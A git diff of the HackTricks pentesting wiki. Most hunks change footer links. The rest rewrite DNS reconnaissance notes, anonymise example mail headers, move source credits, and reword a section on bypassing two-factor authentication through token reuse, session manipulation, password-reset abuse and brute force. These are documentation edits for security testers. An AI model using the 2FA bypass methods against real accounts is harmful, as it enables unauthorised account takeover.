* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -290,7 +290,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -129,7 +129,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -65,7 +65,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -58,7 +58,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -138,7 +138,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -47,7 +47,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -132,7 +132,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -258,7 +258,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -594,7 +594,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -36,16 +36,24 @@ PORT STATE SERVICE REASON
### Different DNS Servers
Information from [https://academy.hackthebox.com/module/112/section/1069](https://academy.hackthebox.com/module/112/section/1069)
- **DNS Root Server**
- The responsibility for the top-level domains (TLDs) is held by the DNS root servers. These servers are queried only if the name server fails to respond, serving as a central interface between users and Internet content by linking domains and IP addresses. The Internet Corporation for Assigned Names and Numbers (ICANN) coordinates the operation of these servers, of which there are 13 globally.
- **Authoritative Nameserver**
- Authority over a specific zone is held by authoritative name servers, which provide binding answers to queries within their responsibility area. Should these servers be unable to respond to a query, the root name server then assumes responsibility.
- **Non-authoritative Nameserver**
- Responsibility for a particular DNS zone is not held by non-authoritative name servers. Instead, they acquire information on DNS zones through recursive or iterative querying.
- **Caching DNS Server**
- Information from other name servers is cached for a predetermined period by caching DNS servers, with the authoritative name server setting the duration of this storage.
- **Forwarding Server**
- A singular function is performed by forwarding servers: the forwarding of DNS queries to another server.
- **Resolver**
- Performing name resolution locally in the computer or router, resolvers are not considered authoritative DNS servers.
| **Server Type** | **Description** |
| ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `DNS Root Server` | The root servers of the DNS are responsible for the top-level domains (`TLD`). As the last instance, they are only requested if the name server does not respond. Thus, a root server is a central interface between users and content on the Internet, as it links domain and IP address. The [Internet Corporation for Assigned Names and Numbers](https://www.icann.org/) (`ICANN`) coordinates the work of the root name servers. There are `13` such root servers around the globe. |
| `Authoritative Nameserver` | Authoritative name servers hold authority for a particular zone. They only answer queries from their area of responsibility, and their information is binding. If an authoritative name server cannot answer a client's query, the root name server takes over at that point. |
| `Non-authoritative Nameserver` | Non-authoritative name servers are not responsible for a particular DNS zone. Instead, they collect information on specific DNS zones themselves, which is done using recursive or iterative DNS querying. |
| `Caching DNS Server` | Caching DNS servers cache information from other name servers for a specified period. The authoritative name server determines the duration of this storage. |
| `Forwarding Server` | Forwarding servers perform only one function: they forward DNS queries to another DNS server. |
| `Resolver` | Resolvers are not authoritative DNS servers but perform name resolution locally in the computer or router. |
## Enumeration
@ -211,38 +219,38 @@ dig google.com A @<IP>
### Mail to nonexistent account
From book: Network Security Assessment (3rd edition)
Through the examination of a nondelivery notification (NDN) triggered by an email sent to an invalid address within a target domain, valuable internal network details are often disclosed.
Simply sending an email message to a nonexistent address at a target domain often reveals useful internal network information through a _nondelivery notification_ (NDN).
The provided nondelivery report includes information such as:
```
Generating server: noa.nintendo.com
- The generating server was identified as `server.example.com`.
- A failure notice for `user@example.com` with the error code `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` was returned.
- Internal IP addresses and hostnames were disclosed in the original message headers.
blah@nintendo.com
```markdown
The original message headers were modified for anonymity and now present randomized data:
Generating server: server.example.com
user@example.com
#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found ##
Original message headers:
Received: from ONERDEDGE02.one.nintendo.com (10.13.20.35) by
onerdexch08.one.nintendo.com (10.13.30.39) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:52:22 -0700
Received: from barracuda.noa.nintendo.com (205.166.76.35) by
ONERDEDGE02.one.nintendo.com (10.13.20.35) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Sat, 26 Apr 2014 16:51:22 -0700
X-ASG-Debug-ID: 1398556333-0614671716199b0d0001-zOQ9WJ
Received: from gateway05.websitewelcome.com (gateway05.websitewelcome.com [69.93.154.37]) by
barracuda.noa.nintendo.com with ESMTP id xVNPkwaqGgdyH5Ag for <blah@nintendo.com>; Sat,
26 Apr 2014 16:52:13 -0700 (PDT)
X-Barracuda-Envelope-From: chris@example.org
X-Barracuda-Apparent-Source-IP: 69.93.154.37
Received: from MAILSERVER01.domain.example.com (192.168.1.1) by
mailserver02.domain.example.com (192.168.2.2) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Mon, 25 May 2015 14:52:22 -0700
Received: from filter.example.com (203.0.113.1) by
MAILSERVER01.domain.example.com (192.168.1.1) with Microsoft SMTP Server (TLS)
id 14.3.174.1; Mon, 25 May 2015 14:51:22 -0700
X-ASG-Debug-ID: 1432576343-0614671716190e0d0001-zOQ9WJ
Received: from gateway.domainhost.com (gateway.domainhost.com [198.51.100.37]) by
filter.example.com with ESMTP id xVNPkwaqGgdyH5Ag for user@example.com; Mon,
25 May 2015 14:52:13 -0700 (PDT)
X-Envelope-From: sender@anotherdomain.org
X-Apparent-Source-IP: 198.51.100.37
```
The following data in this transcript is useful:
* Internal hostnames, IP addresses, and subdomain layout
* The mail server is running Microsoft Exchange Server 2010 SP3
* A Barracuda Networks device is used to perform content filtering
## Config files
```
@ -264,6 +272,10 @@ Dangerous settings when configuring a Bind server:
| `allow-transfer` | Defines which hosts are allowed to receive zone transfers from the DNS server. |
| `zone-statistics` | Collects statistical data of zones. |
## References
* [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/)
* Book: **Network Security Assessment 3rd edition**
## HackTricks Automatic Commands
```

View file

@ -62,6 +62,9 @@ Or **automate** this with **nmap** plugin `imap-ntlm-info.nse`
## Syntax
IAMP Commands examples from [here](https://donsutherland.org/crib/imap):
```
Login
A1 LOGIN username password
@ -109,8 +112,6 @@ Logout
A1 LOGOUT
```
From [here](https://donsutherland.org/crib/imap)
### Evolution
```

View file

@ -58,6 +58,8 @@ The `pop3-ntlm-info` plugin will return some "**sensitive**" data (Windows versi
## POP syntax
POP commands examples from [here](http://sunnyoasis.com/services/emailviatelnet.html)
```bash
POP commands:
USER uid Log in as "uid"
@ -72,8 +74,6 @@ POP commands:
CAPA Get capabilities
```
From [here](http://sunnyoasis.com/services/emailviatelnet.html)
Example:
```

View file

@ -64,6 +64,8 @@ Uploading and accessing this script the exploit is going to be sent to FastCGI (
I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.**
{% endhint %}
Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
```php
<?php
/**
@ -415,8 +417,6 @@ echo $client->request($params, $code)."\n";
?>
```
Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy).
Using the previous function you will see that the function **`system`** is **still disabled** but **`phpinfo()`** shows a **`disable_functions`** **empty**:
![](<../../../../.gitbook/assets/image (352).png>)

View file

@ -14,133 +14,121 @@ Other ways to support HackTricks:
</details>
## **Bypassing two-factor authentication**
## **Enhanced Two-Factor Authentication Bypass Techniques**
### **Direct bypass**
### **Direct Endpoint Access**
To bypass 2FA, just **try to access the next endpoint directly** (you need to know the path of the next endpoint). If this doesn't work, try to change the **Referrer header** as if you came from the 2FA page.
To bypass 2FA, access the subsequent endpoint directly, knowing the path is crucial. If unsuccessful, alter the **Referrer header** to mimic navigation from the 2FA verification page.
### **Reusing token**
### **Token Reuse**
Maybe you can reuse a previously used token inside the account to authenticate.
Reutilizing previously used tokens for authentication within an account can be effective.
### Sharing unused tokens
### **Utilization of Unused Tokens**
Check if you can get the token from your account and try to use it to bypass the 2FA in a different account.
Extracting a token from one's own account to bypass 2FA in another account can be attempted.
### Leaked Token
### **Exposure of Token**
Is the token leaked on a response from the web application?
Investigate whether the token is disclosed in a response from the web application.
### Email verification link
### **Verification Link Exploitation**
Try to use the **email verification link received when the account was created** to see if even if the 2FA was set you can still access your profile just with that link ([post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b)).
Using the **email verification link sent upon account creation** can allow profile access without 2FA, as highlighted in a detailed [post](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
### Session permission
### **Session Manipulation**
Using the same session start the flow using your account and the victim's account. When reaching the 2FA point on both accounts, complete the 2FA with your account but do not access the next part. Instead of that, try to access the next step with the victim's account flow. If the back-end only set a boolean inside your sessions saying that you have successfully passed the 2FA you will be able to bypass the 2FA of the victim.
Initiating sessions for both the user's and a victim's account, and completing 2FA for the user's account without proceeding, allows an attempt to access the next step in the victim's account flow, exploiting backend session management limitations.
### **Password reset function**
### **Password Reset Mechanism**
In almost all web applications the **password reset function automatically logs the user into the application** after the reset procedure is completed.\
Check if a **mail** is sent with a **link** to **reset the password** and if you can **reuse** that **link** to reset the password as **many times as you want** (even if the victim changes his email address).
Investigating the password reset function, which logs a user into the application post-reset, for its potential to allow multiple resets using the same link is crucial. Logging in with the newly reset credentials might bypass 2FA.
Another option to bypass 2FA with the password reset functionality is to **reset the password with access to the mail** and use the **new password lo login**, it might be possible that after a password change 2FA isn't used.
### **OAuth Platform Compromise**
### OAuth
Compromising a user's account on a trusted **OAuth** platform (e.g., Google, Facebook) can offer a route to bypass 2FA.
If you can compromise the account of the user in a trusted **OAuth** platform (Google, Facebook...)
### **Brute Force Attacks**
### Brute force
#### **Rate Limit Absence**
#### Lack of Rate limit
The lack of a limit on the number of code attempts allows for brute force attacks, though potential silent rate limiting should be considered.
Is there any limit on the number of codes that you can try, so you can just brute force it? Be careful with a possible "silent" rate limit, always try several codes and then the real one to confirm the vulnerability.
#### **Slow Brute Force**
#### Flow rate limit but no rate limit
A slow brute force attack is viable where flow rate limits exist without an overarching rate limit.
In this case, there is a flow rate limit (you have to brute force it very slowly: 1 thread and some sleep before 2 tries) but no rate limit. So with enough time, you can be able to find the valid code.
#### **Code Resend Limit Reset**
#### Re-send code and reset the limit
Resending the code resets the rate limit, facilitating continued brute force attempts.
There is a rate limit but when you "resend the code" the same code is sent and the rate limit is reset. Then, you can brute force the code while you resend it so the rate limit is never reached.
#### **Client-Side Rate Limit Circumvention**
#### Client side rate limit bypass
A document details techniques for bypassing client-side rate limiting.
{% content-ref url="rate-limit-bypass.md" %}
[rate-limit-bypass.md](rate-limit-bypass.md)
{% endcontent-ref %}
#### **Internal Actions Lack Rate Limit**
#### Lack of rate limit in the user's account
Rate limits may protect login attempts but not internal account actions.
Sometimes you can configure the 2FA for some actions inside your account (change mail, password...). However, even in cases where there is a rate limit when you tried to log in, there isn't any rate limit to protect actions inside the account.
#### **SMS Code Resend Costs**
#### Lack of rate limit re-sending the code via SMS
Excessive resending of codes via SMS incurs costs to the company, though it does not bypass 2FA.
You won't be able to bypass the 2FA but you will be able to waste the company's money.
#### **Infinite OTP Regeneration**
#### Infinite OTP regeneration
Endless OTP generation with simple codes allows brute force by retrying a small set of codes.
If you can **generate a new OTP infinite times**, the OTP is **simple enough** (4 numbers), and you can try up to 4 or 5 tokens per generated OTP, you can just try the same 4 or 5 tokens every time and generate OTPs until it matches the ones you are using.
### **Race Condition Exploitation**
### Race Condition
